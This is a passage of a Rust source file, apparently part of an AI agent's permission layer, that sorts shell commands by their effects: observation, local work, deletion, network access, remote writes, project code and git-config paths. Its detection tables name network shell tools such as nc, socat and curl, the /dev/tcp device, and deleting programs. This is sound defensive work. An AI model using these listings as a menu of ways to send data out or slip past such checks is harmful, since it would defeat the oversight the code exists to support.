Skip to main content

aidaemon_tools/
command_effects.rs

1//! Structural typing of a shell command's effects for authority decisions.
2//!
3//! Fail closed: `observation_only` is an allowlist of shapes this module fully
4//! understands (an exact executable table, per-program option rules, and a
5//! quote-aware syntax scan). Anything unusual (env assignments, heredocs,
6//! comments, newlines, groupings, wrappers, unparsable segments) is simply not
7//! observation-only. `deletes` and `fetches_network` err the other way: they
8//! unwrap wrappers and groupings and over-report rather than miss.
9//! No wording of the command is ever read for intent.
10
11use crate::command_risk::structural_shell_invocations;
12use aidaemon_core::{CallEffects, EffectClass, EffectKey};
13
14#[derive(Debug, Clone, PartialEq, Eq)]
15pub struct CommandEffects {
16    /// Every executable is a known observer used in a known observing shape.
17    pub observation_only: bool,
18    /// Some command removes files (`rm`, `find -delete`, `git clean`, ...),
19    /// including behind wrappers and groupings.
20    pub deletes: bool,
21    /// Every command is ordinary local work: an exact `LOCAL_WORK` program
22    /// in an allowed shape, or an observation. Fail closed like
23    /// `observation_only`, except that output redirection into files and
24    /// newline-separated scripts are allowed.
25    pub local_work_only: bool,
26    /// The paths deleting commands name, as written. `None` when a delete
27    /// target cannot be read structurally (variables, substitutions, piped
28    /// arguments, `git clean`).
29    pub delete_targets: Option<Vec<String>>,
30    /// Some command runs code the project defines: a build or test runner
31    /// (`make`, `cargo build`, `npm run`, `pytest`, ...) executes the
32    /// project's own build scripts, tests and hooks, and an interpreter
33    /// handed a script runs that script. Local work by its shape, but what
34    /// it does is whatever the project's files say, so on an unconfined
35    /// host it can reach anything. Over-reports (wrappers and groupings are
36    /// unwrapped) rather than miss.
37    pub runs_project_code: bool,
38}
39
40/// Executables whose invocation only reads or prints, matched on the bare
41/// name (or an absolute path in a system bin directory). `sed` is absent on
42/// purpose: its script can write (`w`) or execute (`e`) and cannot be checked
43/// structurally.
44const OBSERVATION_PROGRAMS: &[&str] = &[
45    "ls", "cat", "head", "tail", "wc", "grep", "egrep", "fgrep", "rg", "find", "stat", "file",
46    "pwd", "echo", "printf", "which", "whoami", "id", "uname", "date", "du", "df", "tree", "sort",
47    "uniq", "cut", "tr", "diff", "cmp", "basename", "dirname", "realpath", "readlink", "jq", "ps",
48    "hostname", "sw_vers", "true", "git", "test", "[", "sleep", "uptime", "sysctl", "top",
49];
50
51const SYSTEM_BIN_DIRS: &[&str] = &[
52    "/bin",
53    "/usr/bin",
54    "/usr/local/bin",
55    "/opt/homebrew/bin",
56    "/sbin",
57    "/usr/sbin",
58];
59
60const DELETE_PROGRAMS: &[&str] = &["rm", "rmdir", "unlink", "shred"];
61
62/// Ordinary local work on the owner's machine, matched on the bare name:
63/// builds, tests, local version control and file shuffling. Programs with a
64/// subcommand list are local work only for those subcommands; the rest take
65/// any arguments. `cd` changes only the shell's own directory. Deleting
66/// programs are listed because where they point is judged separately.
67const LOCAL_WORK_PROGRAMS: &[&str] = &[
68    "make",
69    "cmake",
70    "ninja",
71    "pytest",
72    "rustc",
73    "xcodebuild",
74    "mkdir",
75    "touch",
76    "cp",
77    "mv",
78    "ln",
79    "chmod",
80    "cd",
81    "rm",
82    "rmdir",
83    "unlink",
84];
85
86const LOCAL_WORK_SUBCOMMANDS: &[(&str, &[&str])] = &[
87    (
88        "cargo",
89        &[
90            "build", "check", "test", "clippy", "fmt", "run", "bench", "doc", "tree", "metadata",
91        ],
92    ),
93    (
94        "git",
95        &[
96            "add",
97            "commit",
98            "status",
99            "diff",
100            "log",
101            "show",
102            "branch",
103            "switch",
104            "checkout",
105            "restore",
106            "stash",
107            "merge",
108            "rebase",
109            "reset",
110            "tag",
111            "rm",
112            "mv",
113            "init",
114            "worktree",
115            "rev-parse",
116            "ls-files",
117            "blame",
118        ],
119    ),
120    ("npm", &["test", "run", "build", "lint"]),
121    ("pnpm", &["test", "run", "build", "lint"]),
122    ("yarn", &["test", "run", "build", "lint"]),
123    ("go", &["build", "test", "vet", "fmt", "run"]),
124    ("swift", &["build", "test"]),
125];
126
127/// `ddev` subcommands that only report on a local project.
128const DDEV_QUERY_SUBCOMMANDS: &[&str] = &["describe", "status", "st", "list", "version", "logs"];
129
130/// Read-only queries run through a project's own tools inside its local
131/// containers: (`ddev` subcommand, its command, the command's read-only
132/// subcommands).
133const DDEV_TOOL_QUERIES: &[(&str, &str, &[&str])] = &[
134    ("wp", "core", &["is-installed", "version"]),
135    ("wp", "option", &["get", "list"]),
136    (
137        "wp",
138        "plugin",
139        &["list", "status", "is-installed", "is-active"],
140    ),
141    (
142        "wp",
143        "theme",
144        &["list", "status", "is-installed", "is-active"],
145    ),
146    ("wp", "user", &["list", "get"]),
147    ("wp", "post", &["list", "get"]),
148];
149
150/// `drush` commands that only report.
151const DRUSH_QUERIES: &[&str] = &["status", "st", "core:status", "core-status", "pm:list"];
152
153/// Options through which WP-CLI or drush run code or a file of their own.
154const DDEV_TOOL_CODE_OPTIONS: &[&str] = &["--exec", "--require", "--eval", "--include", "--ssh"];
155
156/// A `ddev` call that only asks a local project about itself: a project
157/// report, or a read-only WP-CLI or drush query run in the project's
158/// containers. Starting, importing or installing (which can pull from the
159/// network) and `exec`/`ssh` (any command) are not.
160fn ddev_query_ok(args: &[String]) -> bool {
161    if args.iter().any(|arg| {
162        DDEV_TOOL_CODE_OPTIONS
163            .iter()
164            .any(|option| arg == option || arg.starts_with(&format!("{option}=")))
165    }) {
166        return false;
167    }
168    let words: Vec<&str> = args
169        .iter()
170        .map(String::as_str)
171        .filter(|arg| !arg.starts_with('-'))
172        .collect();
173    match words.as_slice() {
174        [sub, ..] if DDEV_QUERY_SUBCOMMANDS.contains(sub) => true,
175        ["drush", command, ..] => DRUSH_QUERIES.contains(command),
176        [tool, command, sub, ..] => DDEV_TOOL_QUERIES
177            .iter()
178            .any(|(t, c, subs)| t == tool && c == command && subs.contains(sub)),
179        _ => false,
180    }
181}
182
183const FIND_MUTATING_FLAGS: &[&str] = &[
184    "-delete", "-exec", "-execdir", "-ok", "-okdir", "-fprint", "-fprint0", "-fprintf", "-fls",
185];
186
187const GIT_OBSERVATION_SUBCOMMANDS: &[&str] = &[
188    "status",
189    "log",
190    "diff",
191    "show",
192    "rev-parse",
193    "ls-files",
194    "blame",
195    "rev-list",
196];
197
198/// Programs that run another command named in their arguments (and shell
199/// reserved words that introduce one). The inner command is searched at every
200/// later argument position, so option operands cannot hide it.
201const WRAPPERS: &[&str] = &[
202    "sudo", "doas", "nice", "nohup", "timeout", "stdbuf", "time", "command", "exec", "xargs",
203    "env", "builtin", "ionice", "setsid", "{", "!", "if", "then", "else", "elif", "do", "while",
204    "until",
205];
206
207/// Executables that reach the network whatever their arguments.
208const NETWORK_PROGRAMS: &[&str] = &[
209    "curl",
210    "wget",
211    "http",
212    "https",
213    "xh",
214    "nc",
215    "ncat",
216    "netcat",
217    "telnet",
218    "ssh",
219    "scp",
220    "sftp",
221    "rsync",
222    "ftp",
223    "lftp",
224    "aria2c",
225    "gh",
226    "npx",
227    "bunx",
228    "uvx",
229    "svn",
230    "socat",
231    "ping",
232    "dig",
233    "host",
234    "nslookup",
235    "whois",
236    "tftp",
237    "mosh",
238    "rclone",
239    "aws",
240    "gcloud",
241    "kubectl",
242    "invoke-webrequest",
243];
244
245// Windows PowerShell, the shell on Windows (`platform_shell`). Its names
246// have no case, so they are listed lowercase and compared that way. Only
247// commands with plain arguments count: a script block, a variable, a
248// subexpression, a splat or an escape (`{` `$` `(` `@` `` ` ``) can run
249// code the tables cannot see, so any of them makes the command unknown.
250
251/// Cmdlets (and their aliases) that only read or print.
252const POWERSHELL_OBSERVATIONS: &[&str] = &[
253    "get-content",
254    "gc",
255    "type",
256    "get-childitem",
257    "gci",
258    "dir",
259    "get-item",
260    "gi",
261    "get-itemproperty",
262    "gp",
263    "get-location",
264    "gl",
265    "test-path",
266    "resolve-path",
267    "rvpa",
268    "split-path",
269    "join-path",
270    "select-string",
271    "sls",
272    "get-date",
273    "get-process",
274    "gps",
275    "get-filehash",
276    "measure-object",
277    "measure",
278    "sort-object",
279    "select-object",
280    "select",
281    "compare-object",
282    "format-list",
283    "fl",
284    "format-table",
285    "ft",
286    "format-wide",
287    "fw",
288    "out-string",
289    "out-null",
290    "out-host",
291    "write-output",
292    "write",
293    "write-host",
294    "start-sleep",
295];
296
297/// Cmdlets (and their aliases) that make, write, copy or move files, or
298/// change the shell's own directory: ordinary local work, as `mkdir`, `cp`
299/// and `mv` are.
300const POWERSHELL_LOCAL_WORK: &[&str] = &[
301    "new-item",
302    "ni",
303    "md",
304    "set-content",
305    "sc",
306    "add-content",
307    "ac",
308    "out-file",
309    "copy-item",
310    "copy",
311    "cpi",
312    "move-item",
313    "move",
314    "mi",
315    "rename-item",
316    "ren",
317    "rni",
318    "set-location",
319    "sl",
320    "chdir",
321    "push-location",
322    "pushd",
323    "pop-location",
324    "popd",
325];
326
327/// Cmdlets (and their aliases) that delete. Where they point is judged as
328/// `rm`'s targets are.
329const POWERSHELL_DELETES: &[&str] = &["remove-item", "ri", "del", "erase", "rd"];
330
331/// Whether `program` is in a PowerShell table, when PowerShell is the shell.
332fn in_powershell_table(table: &[&str], program: &str) -> bool {
333    cfg!(windows) && table.iter().any(|name| name.eq_ignore_ascii_case(program))
334}
335
336/// No argument that can carry code PowerShell would run.
337fn powershell_args_plain(args: &[String]) -> bool {
338    !args
339        .iter()
340        .any(|arg| arg.contains(['{', '}', '$', '(', ')', '@', '`']))
341}
342
343/// A PowerShell command that only reads or prints.
344fn is_powershell_observation(program: &str, args: &[String]) -> bool {
345    in_powershell_table(POWERSHELL_OBSERVATIONS, program) && powershell_args_plain(args)
346}
347
348/// Whether `program args` only reads or prints: a listed program in an
349/// allowed shape, or (Windows) a reading cmdlet with plain arguments.
350fn is_program_observation(program: &str, args: &[String]) -> bool {
351    (OBSERVATION_PROGRAMS.contains(&program) && observation_args_ok(program, args))
352        || is_powershell_observation(program, args)
353}
354
355/// A deleting program: `rm` and its kin, or (Windows) `Remove-Item` and its
356/// aliases.
357fn is_delete_program(program: &str) -> bool {
358    DELETE_PROGRAMS.contains(&program) || in_powershell_table(POWERSHELL_DELETES, program)
359}
360
361/// The command as the analysis reads it. In PowerShell a backslash is a
362/// path separator, not an escape (its escape is the backtick), so on
363/// Windows every backslash reads as `/`: `C:/Users/x` is the same path
364/// there, and `C:\; Remove-Item x` stays two commands.
365fn shell_text(command: &str) -> std::borrow::Cow<'_, str> {
366    if cfg!(windows) && command.contains('\\') {
367        std::borrow::Cow::Owned(command.replace('\\', "/"))
368    } else {
369        std::borrow::Cow::Borrowed(command)
370    }
371}
372
373/// (program, subcommands): network when ANY non-option argument matches.
374const NETWORK_SUBCOMMANDS: &[(&str, &[&str])] = &[
375    (
376        "git",
377        &[
378            "fetch",
379            "clone",
380            "pull",
381            "ls-remote",
382            "submodule",
383            "push",
384            "update",
385        ],
386    ),
387    (
388        "npm",
389        &[
390            "install", "add", "i", "ci", "exec", "update", "fetch", "search", "view", "info",
391            "publish",
392        ],
393    ),
394    (
395        "pnpm",
396        &[
397            "install", "add", "i", "dlx", "update", "fetch", "search", "view", "info", "publish",
398        ],
399    ),
400    (
401        "yarn",
402        &[
403            "install", "add", "i", "update", "fetch", "search", "view", "info", "publish",
404        ],
405    ),
406    ("pip", &["install", "download"]),
407    ("pip3", &["install", "download"]),
408    (
409        "cargo",
410        &[
411            "install", "add", "update", "fetch", "search", "view", "info", "publish",
412        ],
413    ),
414    ("bun", &["install", "add", "i"]),
415    ("uv", &["pip", "add", "sync"]),
416    ("brew", &["install", "update", "upgrade", "fetch"]),
417    ("go", &["get", "install", "download"]),
418    ("docker", &["pull", "run", "build", "push"]),
419    ("gem", &["install"]),
420    ("apt", &["install", "update"]),
421    ("apt-get", &["install", "update"]),
422    ("hg", &["pull", "clone"]),
423    ("openssl", &["s_client"]),
424];
425
426/// Whether any command (behind wrappers, groupings, substitutions and
427/// `sh -c`) asks a remote service to change something: curl with a method
428/// other than GET/HEAD, a body, a form or an upload; wget with a body or
429/// such a method; `git push`. Read from option structure, so a plain fetch
430/// is not a write. Other network programs are not judged here.
431pub fn sends_remote_write(command: &str) -> bool {
432    expanded_commands(command).iter().any(|tokens| {
433        let args = &tokens[1..];
434        match basename(&tokens[0]) {
435            "curl" => curl_sends_write(args),
436            "wget" => wget_sends_write(args),
437            "git" => git_subcommand(args) == Some("push"),
438            _ => false,
439        }
440    })
441}
442
443fn writes_with_method(method: &str) -> bool {
444    !matches!(method.to_ascii_uppercase().as_str(), "GET" | "HEAD")
445}
446
447fn curl_sends_write(args: &[String]) -> bool {
448    let mut iter = args.iter();
449    while let Some(arg) = iter.next() {
450        if let Some(long) = arg.strip_prefix("--") {
451            let (name, inline) = match long.split_once('=') {
452                Some((name, value)) => (name, Some(value)),
453                None => (long, None),
454            };
455            if name == "request" {
456                let method = inline.map(str::to_string).or_else(|| iter.next().cloned());
457                if method.is_none_or(|method| writes_with_method(&method)) {
458                    return true;
459                }
460            } else if name.starts_with("data")
461                || name == "json"
462                || name.starts_with("form")
463                || name == "upload-file"
464            {
465                return true;
466            }
467        } else if let Some(cluster) = arg.strip_prefix('-').filter(|c| !c.is_empty()) {
468            // A valued short option ends its cluster; the rest is its value.
469            for (at, c) in cluster.char_indices() {
470                match c {
471                    'd' | 'F' | 'T' => return true,
472                    'X' => {
473                        let rest = &cluster[at + 1..];
474                        let method = if rest.is_empty() {
475                            iter.next().cloned()
476                        } else {
477                            Some(rest.to_string())
478                        };
479                        if method.is_none_or(|method| writes_with_method(&method)) {
480                            return true;
481                        }
482                        break;
483                    }
484                    _ => {}
485                }
486            }
487        }
488    }
489    false
490}
491
492fn wget_sends_write(args: &[String]) -> bool {
493    let mut iter = args.iter();
494    while let Some(arg) = iter.next() {
495        let Some(long) = arg.strip_prefix("--") else {
496            continue;
497        };
498        let (name, inline) = match long.split_once('=') {
499            Some((name, value)) => (name, Some(value)),
500            None => (long, None),
501        };
502        match name {
503            "post-data" | "post-file" | "body-data" | "body-file" => return true,
504            "method" => {
505                let method = inline.map(str::to_string).or_else(|| iter.next().cloned());
506                if method.is_none_or(|method| writes_with_method(&method)) {
507                    return true;
508                }
509            }
510            _ => {}
511        }
512    }
513    false
514}
515
516/// git's subcommand: the first positional after its global options (`-C`
517/// and `-c` take a value).
518fn git_subcommand(args: &[String]) -> Option<&str> {
519    let mut iter = args.iter();
520    while let Some(arg) = iter.next() {
521        if arg == "-C" || arg == "-c" {
522            iter.next();
523        } else if !arg.starts_with('-') {
524            return Some(arg);
525        }
526    }
527    None
528}
529
530/// Whether any command (behind wrappers, groupings, substitutions and
531/// `sh -c`) is a known network-reaching executable or subcommand.
532pub fn fetches_network(command: &str) -> bool {
533    if command.contains("/dev/tcp/") || command.contains("/dev/udp/") || command.contains("$'") {
534        return true;
535    }
536    expanded_commands(command).iter().any(|tokens| {
537        let program = basename(&tokens[0]);
538        let args = &tokens[1..];
539        if NETWORK_PROGRAMS.contains(&program) {
540            return true;
541        }
542        if program == "yarn" && args.iter().all(|arg| arg.starts_with('-')) {
543            return true;
544        }
545        if program == "git" {
546            let has = |word: &str| args.iter().any(|arg| arg == word);
547            if (has("remote") && has("update"))
548                || (has("archive") && args.iter().any(|arg| arg.starts_with("--remote")))
549            {
550                return true;
551            }
552        }
553        NETWORK_SUBCOMMANDS.iter().any(|(name, subs)| {
554            *name == program
555                && args
556                    .iter()
557                    .any(|arg| !arg.starts_with('-') && subs.contains(&arg.as_str()))
558        })
559    })
560}
561
562/// Whether writing `path` can plant git configuration. A structural path
563/// fact, deliberately over-reporting:
564/// - a `.git`, `.gitattributes` or `.gitmodules` component, or a `.gitconfig`
565///   file name, compared ASCII-case-insensitively (APFS and NTFS fold case)
566///   after stripping trailing dots and spaces (Windows drops them);
567/// - global and system configuration: `~/.config/git/**`,
568///   `$XDG_CONFIG_HOME/git/**`, `/etc/gitconfig`, and any `.config/git`
569///   component pair (relative paths may resolve under the home directory).
570///
571/// `~`, `$HOME` and `${HOME}` prefixes are expanded and `.`/`..` are
572/// normalized lexically before the global checks.
573pub fn is_git_config_path(path: &str) -> bool {
574    let raw = path_components(path);
575    if raw.iter().any(|part| is_repo_config_component(part)) {
576        return true;
577    }
578    let expanded = expand_home(path);
579    let normalized = normalize_components(&path_components(&expanded));
580    if normalized.iter().any(|part| is_repo_config_component(part))
581        || normalized.windows(2).any(|pair| {
582            pair[0].eq_ignore_ascii_case(".config") && pair[1].eq_ignore_ascii_case("git")
583        })
584    {
585        return true;
586    }
587    let absolute = expanded.starts_with('/') || expanded.starts_with('\\');
588    if absolute
589        && normalized.len() == 2
590        && normalized[0].eq_ignore_ascii_case("etc")
591        && normalized[1].eq_ignore_ascii_case("gitconfig")
592    {
593        return true;
594    }
595    let under = |base: std::path::PathBuf| {
596        let base = normalize_components(&path_components(&base.to_string_lossy()));
597        absolute
598            && !base.is_empty()
599            && normalized.len() > base.len()
600            && normalized
601                .iter()
602                .zip(&base)
603                .all(|(a, b)| a.eq_ignore_ascii_case(b))
604    };
605    if dirs::home_dir().is_some_and(|home| under(home.join(".config").join("git"))) {
606        return true;
607    }
608    std::env::var_os("XDG_CONFIG_HOME")
609        .filter(|value| !value.is_empty())
610        .is_some_and(|xdg| under(std::path::PathBuf::from(xdg).join("git")))
611}
612
613/// Components of `path` with Windows-insignificant trailing dots and spaces
614/// removed (`.` and `..` are kept as-is).
615fn path_components(path: &str) -> Vec<String> {
616    path.split(['/', '\\'])
617        .filter(|part| !part.is_empty())
618        .map(|part| {
619            if part == "." || part == ".." {
620                part.to_string()
621            } else {
622                part.trim_end_matches(['.', ' ']).to_string()
623            }
624        })
625        .filter(|part| !part.is_empty())
626        .collect()
627}
628
629fn normalize_components(parts: &[String]) -> Vec<String> {
630    let mut out: Vec<String> = Vec::new();
631    for part in parts {
632        match part.as_str() {
633            "." => {}
634            ".." => {
635                if out.last().is_some_and(|last| last != "..") {
636                    out.pop();
637                } else {
638                    out.push(part.clone());
639                }
640            }
641            _ => out.push(part.clone()),
642        }
643    }
644    out
645}
646
647fn is_repo_config_component(part: &str) -> bool {
648    [".git", ".gitattributes", ".gitmodules", ".gitconfig"]
649        .iter()
650        .any(|name| part.eq_ignore_ascii_case(name))
651}
652
653fn expand_home(path: &str) -> String {
654    let rest = ["~", "$HOME", "${HOME}"].iter().find_map(|prefix| {
655        path.strip_prefix(prefix)
656            .filter(|rest| rest.is_empty() || rest.starts_with(['/', '\\']))
657    });
658    match (rest, dirs::home_dir()) {
659        (Some(rest), Some(home)) => format!("{}{rest}", home.to_string_lossy()),
660        _ => path.to_string(),
661    }
662}
663
664/// Whether the directory `root` (home-expanded, resolved against `base` when
665/// relative) holds a `.git` entry directly inside it, so a write anywhere
666/// under it can plant repository configuration.
667pub fn root_holds_repository(root: &str, base: Option<&str>) -> bool {
668    let root = root.trim();
669    if root.is_empty() {
670        return false;
671    }
672    let mut path = std::path::PathBuf::from(expand_home(root));
673    if path.is_relative()
674        && let Some(base) = base.map(str::trim).filter(|base| !base.is_empty())
675    {
676        path = std::path::PathBuf::from(expand_home(base)).join(path);
677    }
678    path.join(".git").exists()
679}
680
681/// Whether any shell word of `command` (including redirect targets,
682/// `--opt=value` operands, substitution bodies and nested `sh -c` scripts)
683/// names a git configuration path per `is_git_config_path`.
684pub fn command_names_git_config_path(command: &str) -> bool {
685    names_git_config(command, 0)
686}
687
688fn names_git_config(command: &str, depth: usize) -> bool {
689    if depth > MAX_DEPTH {
690        return false;
691    }
692    let scanned = scan(command);
693    for segment in &scanned.segments {
694        let words = shell_words::split(segment)
695            .unwrap_or_else(|_| segment.split_whitespace().map(str::to_string).collect());
696        for word in words {
697            let target = word.trim_start_matches(|c: char| {
698                c.is_ascii_digit() || matches!(c, '>' | '<' | '&' | '|')
699            });
700            let operand = word.split_once('=').map(|(_, value)| value);
701            if [Some(word.as_str()), Some(target), operand]
702                .into_iter()
703                .flatten()
704                .any(|candidate| !candidate.is_empty() && is_git_config_path(candidate))
705            {
706                return true;
707            }
708            if word.contains(char::is_whitespace) && names_git_config(&word, depth + 1) {
709                return true;
710            }
711        }
712    }
713    substitution_bodies(command)
714        .iter()
715        .any(|body| names_git_config(body, depth + 1))
716}
717
718pub fn command_effects(command: &str) -> CommandEffects {
719    // ANSI-C quoting (`$'..'`) escapes quotes in a way the scan cannot
720    // follow, so a command may hide behind it: over-report.
721    let deletes = command.contains("$'")
722        || expanded_commands(command).iter().any(|tokens| {
723            let program = basename(&tokens[0]);
724            let args = &tokens[1..];
725            is_delete_program(program)
726                || (program == "find" && args.iter().any(|arg| arg == "-delete"))
727                || (program == "git" && args.iter().any(|arg| arg == "clean"))
728        });
729    CommandEffects {
730        observation_only: is_observation_only(command),
731        deletes,
732        local_work_only: is_local_work_only(command),
733        runs_project_code: command.contains("$'")
734            || expanded_commands(command)
735                .iter()
736                .any(|tokens| runs_project_code(basename(&tokens[0]), &tokens[1..])),
737        delete_targets: if command.contains("$'") {
738            None
739        } else {
740            delete_targets(command)
741        },
742    }
743}
744
745/// Paths named by every deleting command, or `None` when any cannot be
746/// determined: a target with shell expansion (variables, substitutions,
747/// globs, braces, `~`) or a `find` placeholder, a deleting command with no
748/// target (arguments arriving through a pipe), `find` without explicit
749/// start paths, `git clean` (its targets are whatever is untracked), or a
750/// relative target in a command that changes directory (`cd`, `pushd`,
751/// `popd`), since the shell then deletes relative to somewhere else.
752fn delete_targets(command: &str) -> Option<Vec<String>> {
753    let unreadable = |target: &str| {
754        target.is_empty() || target.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~'])
755    };
756    let commands = expanded_commands(command);
757    let changes_directory = commands
758        .iter()
759        .any(|tokens| matches!(basename(&tokens[0]), "cd" | "pushd" | "popd"));
760    let mut targets: Vec<String> = Vec::new();
761    for tokens in &commands {
762        let program = basename(&tokens[0]);
763        let args = &tokens[1..];
764        let named: Vec<&String> = if is_delete_program(program) {
765            let mut options_done = false;
766            args.iter()
767                .filter(|arg| {
768                    if options_done {
769                        return true;
770                    }
771                    if arg.as_str() == "--" {
772                        options_done = true;
773                        return false;
774                    }
775                    !arg.starts_with('-')
776                })
777                .collect()
778        } else if program == "find" && args.iter().any(|arg| arg == "-delete") {
779            // Start paths come first; a leading option (`-L`, `-H`, `-O3`,
780            // `-D x`, BSD `-f path`) makes them unreadable here, and none at
781            // all means the shell's own directory.
782            if args.first().is_none_or(|arg| arg.starts_with('-')) {
783                return None;
784            }
785            args.iter()
786                .take_while(|arg| !arg.starts_with(['-', '(', '!']))
787                .collect()
788        } else if program == "git" && args.iter().any(|arg| arg == "clean") {
789            return None;
790        } else {
791            continue;
792        };
793        if named.is_empty() || named.iter().any(|target| unreadable(target)) {
794            return None;
795        }
796        if changes_directory
797            && named
798                .iter()
799                .any(|target| !crate::BackendPath::is_absolute(target))
800        {
801            return None;
802        }
803        for target in named {
804            if !targets.contains(target) {
805                targets.push(target.clone());
806            }
807        }
808    }
809    Some(targets)
810}
811
812/// Every operand a command could read as a path, as written: each
813/// non-option argument of every reachable command (patterns included; they
814/// are judged as paths, which only over-reports), and the value of a
815/// `--option=value`. `None` when any cannot be determined structurally: shell
816/// expansion (variables, substitutions, globs, braces, `~` other than a
817/// leading `~/`), ANSI-C quoting, an option with a path glued to it
818/// (`-I/x`), or a command that changes directory (`cd`, `pushd`, `popd`),
819/// since relative operands then resolve somewhere else.
820pub fn path_operands(command: &str) -> Option<Vec<String>> {
821    if command.contains("$'") {
822        return None;
823    }
824    let unreadable = |operand: &str| {
825        let rest = operand
826            .strip_prefix("~/")
827            .or_else(|| (operand == "~").then_some(""))
828            .unwrap_or(operand);
829        rest.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~'])
830    };
831    let commands = expanded_commands(command);
832    let mut operands: Vec<String> = Vec::new();
833    // Input-redirect targets are read like any operand.
834    for line in command.replace("\\\n", " ").split('\n') {
835        for target in scan(line).input_targets {
836            if unreadable(&target) || target.contains(['"', '\'']) {
837                return None;
838            }
839            if !operands.contains(&target) {
840                operands.push(target);
841            }
842        }
843    }
844    for tokens in &commands {
845        // `cd` moves where relative operands resolve; `xargs` and `parallel`
846        // take their operands from stdin, which no argument names.
847        if matches!(
848            basename(&tokens[0]),
849            "cd" | "pushd" | "popd" | "xargs" | "parallel"
850        ) {
851            return None;
852        }
853        let mut options_done = false;
854        for arg in &tokens[1..] {
855            let operand = if options_done || !arg.starts_with('-') {
856                arg.as_str()
857            } else if arg == "--" {
858                options_done = true;
859                continue;
860            } else if let Some((_, value)) = arg.split_once('=') {
861                value
862            } else if arg.contains(['/', '~']) {
863                return None;
864            } else {
865                continue;
866            };
867            if operand.is_empty() {
868                continue;
869            }
870            if unreadable(operand) {
871                return None;
872            }
873            if !operands.iter().any(|known| known == operand) {
874                operands.push(operand.to_string());
875            }
876        }
877    }
878    Some(operands)
879}
880
881/// The literal paths a command names, for facts about named files (never
882/// for trust or confinement, which need [`path_operands`]'s all-or-nothing
883/// reading): every absolute or `~/` operand of every reachable command, plus
884/// its relative operands while no command changes directory. An operand
885/// that does not read literally (expansion, quoting the scanner cannot
886/// settle) is skipped, never guessed, and the rest still count.
887pub fn literal_path_operands(command: &str) -> Vec<String> {
888    let literal = |operand: &str| {
889        let rest = operand
890            .strip_prefix("~/")
891            .or_else(|| (operand == "~").then_some(""))
892            .unwrap_or(operand);
893        !operand.is_empty()
894            && !rest.contains(['$', '`', '\\', '{', '}', '*', '?', '[', '~', '"', '\''])
895    };
896    let commands = expanded_commands(command);
897    let moves = commands.iter().any(|tokens| {
898        tokens
899            .first()
900            .is_some_and(|program| matches!(basename(program), "cd" | "pushd" | "popd"))
901    });
902    let mut operands: Vec<String> = Vec::new();
903    let mut add = |operand: &str| {
904        let anchored =
905            crate::BackendPath::is_absolute(operand) || operand == "~" || operand.starts_with("~/");
906        if literal(operand)
907            && (anchored || !moves)
908            && !operands.iter().any(|known| known == operand)
909        {
910            operands.push(operand.to_string());
911        }
912    };
913    for line in command.replace("\\\n", " ").split('\n') {
914        for target in scan(line).input_targets {
915            add(&target);
916        }
917    }
918    for tokens in &commands {
919        let mut options_done = false;
920        for arg in tokens.iter().skip(1) {
921            if options_done || !arg.starts_with('-') {
922                add(arg);
923            } else if arg == "--" {
924                options_done = true;
925            } else if let Some((_, value)) = arg.split_once('=') {
926                add(value);
927            }
928        }
929    }
930    operands
931}
932
933/// Build and test runners, with the subcommands that run project code
934/// (build scripts, tests, package scripts, plugins). An empty list: every
935/// invocation does.
936const PROJECT_CODE_RUNNERS: &[(&str, &[&str])] = &[
937    ("make", &[]),
938    ("gmake", &[]),
939    ("cmake", &[]),
940    ("ninja", &[]),
941    ("pytest", &[]),
942    ("tox", &[]),
943    ("nox", &[]),
944    ("xcodebuild", &[]),
945    ("gradle", &[]),
946    ("gradlew", &[]),
947    ("mvn", &[]),
948    ("rake", &[]),
949    ("python", &[]),
950    ("python3", &[]),
951    ("node", &[]),
952    ("deno", &[]),
953    ("bun", &[]),
954    ("ruby", &[]),
955    ("perl", &[]),
956    ("php", &[]),
957    (
958        "cargo",
959        &[
960            "build", "b", "check", "c", "test", "t", "clippy", "run", "r", "bench", "doc", "d",
961            "install",
962        ],
963    ),
964    (
965        "npm",
966        &[
967            "test",
968            "t",
969            "run",
970            "run-script",
971            "build",
972            "lint",
973            "start",
974            "install",
975            "i",
976            "ci",
977            "exec",
978            "x",
979        ],
980    ),
981    (
982        "pnpm",
983        &[
984            "test", "t", "run", "build", "lint", "start", "install", "i", "exec", "dlx",
985        ],
986    ),
987    (
988        "yarn",
989        &["test", "run", "build", "lint", "start", "install"],
990    ),
991    ("npx", &[]),
992    ("go", &["test", "run", "generate"]),
993    ("swift", &["build", "test", "run"]),
994];
995
996/// Whether `program` with its first word `subcommand` (none: no word)
997/// runs code the project defines: a build or a test. A Python program
998/// runs project code whatever module it is given.
999pub fn runs_project_code_of(program: &str, subcommand: Option<&str>) -> bool {
1000    let args: Vec<String> = subcommand.map(str::to_string).into_iter().collect();
1001    runs_project_code(program, &args)
1002}
1003
1004/// Whether this one command runs code the project defines
1005/// ([`CommandEffects::runs_project_code`]).
1006fn runs_project_code(program: &str, args: &[String]) -> bool {
1007    let program = program.strip_suffix(".exe").unwrap_or(program);
1008    let Some((_, subcommands)) = PROJECT_CODE_RUNNERS
1009        .iter()
1010        .find(|(name, _)| *name == program)
1011    else {
1012        return false;
1013    };
1014    if subcommands.is_empty() {
1015        return true;
1016    }
1017    // The first word that is not an option or a toolchain selector.
1018    args.iter()
1019        .map(String::as_str)
1020        .find(|arg| !arg.starts_with('-') && !arg.starts_with('+'))
1021        .is_none_or(|subcommand| subcommands.contains(&subcommand))
1022}
1023
1024fn is_local_work_only(command: &str) -> bool {
1025    every_segment(command, &local_work_args_ok)
1026}
1027
1028/// Whether every command reaches nothing beyond this computer: an
1029/// observation, `cd`, a local `ddev` project's own query, or a `curl`/`wget`
1030/// read (no body, upload or writing method) whose every address points at
1031/// this computer alone ([`crate::web::local_site_key`]: a `localhost` name,
1032/// a loopback address, or a dev site such as `*.ddev.site` that resolves
1033/// only to loopback). Checking a site the work set up is local work, and so
1034/// is a `ddev` query, though both need the network capability in the
1035/// sandbox to reach a local port or the container engine's socket. The
1036/// shapes are the same fail-closed tables as everywhere here. Resolves the
1037/// addresses' names, so it may block briefly.
1038pub fn reaches_only_this_computer(command: &str) -> bool {
1039    if sends_remote_write(command) {
1040        return false;
1041    }
1042    every_segment(command, &|program, args| match program {
1043        "cd" => true,
1044        "ddev" => ddev_query_ok(args),
1045        "curl" | "wget" => reads_only_local_sites(program, args),
1046        _ => is_program_observation(program, args),
1047    })
1048}
1049
1050/// Drush and WP-CLI commands that run code they are handed, whatever it
1051/// reaches: never only the project's own business.
